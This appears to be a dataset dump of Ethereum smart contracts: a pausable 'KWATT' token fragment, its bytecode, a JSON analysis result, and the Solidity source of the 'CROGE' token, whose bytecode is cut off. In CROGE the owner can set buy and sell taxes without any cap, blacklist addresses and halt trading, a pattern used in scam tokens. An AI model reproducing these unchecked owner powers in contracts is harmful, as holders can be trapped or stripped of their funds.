returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title KWATT_Token Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract KWATT_Token is PausableToken {
string public name = "4NEW";
string public symbol = "KWATT";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 300000000000000000000000000;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd146102375780632ff2e9dc146102bc578063313ce567146102e75780633f4ba83a1461031857806342966c681461032f5780635c975abb1461035c578063661884631461038b57806370a08231146103f0578063715018a61461044757806379cc67901461045e5780638456cb59146104ab5780638da5cb5b146104c257806395d89b4114610519578063a9059cbb146105a9578063d73dd6231461060e578063dd62ed3e14610673578063f2fde38b146106ea575b600080fd5b34801561012357600080fd5b5061012c61072d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cb565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216107fb565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610805565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610837565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506102fc61083d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032457600080fd5b5061032d610850565b005b34801561033b57600080fd5b5061035a60048036038101908080359060200190929190505050610910565b005b34801561036857600080fd5b5061037161091d565b604051808215151515815260200191505060405180910390f35b34801561039757600080fd5b506103d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610930565b604051808215151515815260200191505060405180910390f35b3480156103fc57600080fd5b50610431600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610960565b6040518082815260200191505060405180910390f35b34801561045357600080fd5b5061045c6109a8565b005b34801561046a57600080fd5b506104a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aad565b005b3480156104b757600080fd5b506104c0610abb565b005b3480156104ce57600080fd5b506104d7610b7c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052557600080fd5b5061052e610ba2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561056e578082015181840152602081019050610553565b50505050905090810190601f16801561059b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105b557600080fd5b506105f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c40565b604051808215151515815260200191505060405180910390f35b34801561061a57600080fd5b50610659600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c70565b604051808215151515815260200191505060405180910390f35b34801561067f57600080fd5b506106d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca0565b6040518082815260200191505060405180910390f35b3480156106f657600080fd5b5061072b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d27565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107c35780601f10610798576101008083540402835291602001916107c3565b820191906000526020600020905b8154815290600101906020018083116107a657829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156107e957600080fd5b6107f38383610d8f565b905092915050565b6000600254905090565b6000600360149054906101000a900460ff1615151561082357600080fd5b61082e848484610e81565b90509392505050565b60075481565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ac57600080fd5b600360149054906101000a900460ff1615156108c757600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b61091a338261123c565b50565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561094e57600080fd5b6109588383611298565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab7828261152a565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1757600080fd5b600360149054906101000a900460ff16151515610b3357600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c385780601f10610c0d57610100808354040283529160200191610c38565b820191906000526020600020905b815481529060010190602001808311610c1b57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610c5e57600080fd5b610c6883836116d1565b905092915050565b6000600360149054906101000a900460ff16151515610c8e57600080fd5b610c9883836118f1565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8357600080fd5b610d8c81611aed565b50565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ed057600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f5b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f9757600080fd5b610fe8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061114c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6112468282611c2b565b8173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831015156113aa576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143e565b6113bd8382611be990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156115b457600080fd5b61164381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116cd828261123c565b5050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561172057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561175c57600080fd5b6117ad826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611840826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061198282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b2957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080838311151515611bfb57600080fd5b82840390508091505092915050565b6000808284019050838110151515611c2157600080fd5b8091505092915050565b60008273ffffffffffffffffffffffffffffffffffffffff1614151515611c5157600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515611c9d57600080fd5b611cb281600254611be990919063ffffffff16565b600281905550611d09816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058204af32a61e76d958d5d777146cbdffeb36a3543e49860ba2c140d88b63adf95070029
|
{"success": true, "error": null, "results": {}}
| 9,357 |
0x29dccb287175512156f46536ec492d18ea7be496
|
/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
/*
CROGE - Cyber Doge
Telegram: @CROGEETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CROGE is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Cyber Doge";//////////////////////////
string private constant _symbol = "CROGE";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 7;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 13;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x675A4DE1D452d21537336A6e51523f085F535250);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x675A4DE1D452d21537336A6e51523f085F535250);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9; //2%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051d578063dd62ed3e1461053d578063ea1644d514610583578063f2fde38b146105a357600080fd5b8063a2a957bb14610498578063a9059cbb146104b8578063bfd79284146104d8578063c3c8cd801461050857600080fd5b80638f70ccf7116100d15780638f70ccf7146104145780638f9a55c01461043457806395d89b411461044a57806398a5c3151461047857600080fd5b806374010ece146103c05780637d1db4a5146103e05780638da5cb5b146103f657600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103565780636fc3eaec1461037657806370a082311461038b578063715018a6146103ab57600080fd5b8063313ce567146102fa57806349bd5a5e146103165780636b9990531461033657600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c45780632fd689e3146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae7565b6105c3565b005b3480156101ff57600080fd5b5060408051808201909152600a815269437962657220446f676560b01b60208201525b60405161022f9190611c11565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a3d565b610670565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b50662386f26fc100005b60405190815260200161022f565b3480156102d057600080fd5b506102586102df3660046119fd565b610687565b3480156102f057600080fd5b506102b660185481565b34801561030657600080fd5b506040516009815260200161022f565b34801561032257600080fd5b50601554610288906001600160a01b031681565b34801561034257600080fd5b506101f161035136600461198d565b6106f0565b34801561036257600080fd5b506101f1610371366004611bae565b61073b565b34801561038257600080fd5b506101f1610783565b34801561039757600080fd5b506102b66103a636600461198d565b6107ce565b3480156103b757600080fd5b506101f16107f0565b3480156103cc57600080fd5b506101f16103db366004611bc8565b610864565b3480156103ec57600080fd5b506102b660165481565b34801561040257600080fd5b506000546001600160a01b0316610288565b34801561042057600080fd5b506101f161042f366004611bae565b610893565b34801561044057600080fd5b506102b660175481565b34801561045657600080fd5b5060408051808201909152600581526443524f474560d81b6020820152610222565b34801561048457600080fd5b506101f1610493366004611